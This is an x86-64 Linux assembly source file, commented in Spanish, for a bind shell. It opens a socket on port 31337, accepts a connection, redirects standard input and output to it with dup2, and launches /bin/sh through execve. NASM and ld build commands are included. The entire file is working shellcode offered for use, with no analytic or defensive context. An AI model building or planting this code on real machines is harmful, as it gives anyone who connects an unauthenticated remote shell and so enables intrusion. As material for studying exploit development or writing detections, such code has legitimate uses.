bindshell.s

; Bind shell en x86-64 — escucha en puerto 31337, dup2 + execve("/bin/sh").
;
; Pasos:
;   socket(AF_INET, SOCK_STREAM, 0)
;   bind(fd, &addr, 16)
;   listen(fd, 0)
;   accept(fd, NULL, NULL)
;   dup2(client_fd, 0/1/2)
;   execve("/bin/sh", NULL, NULL)
;
; Compilar:
;   nasm -f elf64 bindshell.s -o bindshell.o
;   ld bindshell.o -o bindshell

section .text
global _start

_start:
    ; --- socket(AF_INET=2, SOCK_STREAM=1, 0) ---
    push 41             ; sys_socket
    pop  rax
    push 2              ; AF_INET
    pop  rdi
    push 1              ; SOCK_STREAM
    pop  rsi
    xor  rdx, rdx
    syscall
    mov  r12, rax       ; r12 = listen_fd

    ; --- bind(fd, sockaddr_in {AF_INET, htons(31337), INADDR_ANY}, 16) ---
    ; sockaddr_in en pila (16 bytes):
    ;   sin_family   2 = AF_INET
    ;   sin_port     htons(31337) = 0x697A   ← 31337 = 0x7A69 → BE = 0x697A
    ;   sin_addr     0.0.0.0
    ;   pad          0
    xor  rax, rax
    push rax            ; pad + addr (8 bytes ceros)
    mov  dword [rsp], 0x697a0002   ; family=AF_INET, port=htons(31337)
    mov  rsi, rsp
    mov  rdi, r12
    push 16
    pop  rdx
    push 49             ; sys_bind
    pop  rax
    syscall

    ; --- listen(fd, 0) ---
    mov  rdi, r12
    xor  rsi, rsi
    push 50             ; sys_listen
    pop  rax
    syscall

    ; --- accept(fd, NULL, NULL) ---
    mov  rdi, r12
    xor  rsi, rsi
    xor  rdx, rdx
    push 43             ; sys_accept
    pop  rax
    syscall
    mov  r13, rax       ; r13 = client_fd

    ; --- dup2(client_fd, 0/1/2) ---
    mov  rdi, r13
    push 2
    pop  rsi            ; rsi=2 → 1 → 0
.dup_loop:
    push 33             ; sys_dup2
    pop  rax
    syscall
    dec  rsi
    jns  .dup_loop

    ; --- execve("/bin//sh", NULL, NULL) ---
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  rsi, rsi
    xor  rdx, rdx
    mov  al, 59
    syscall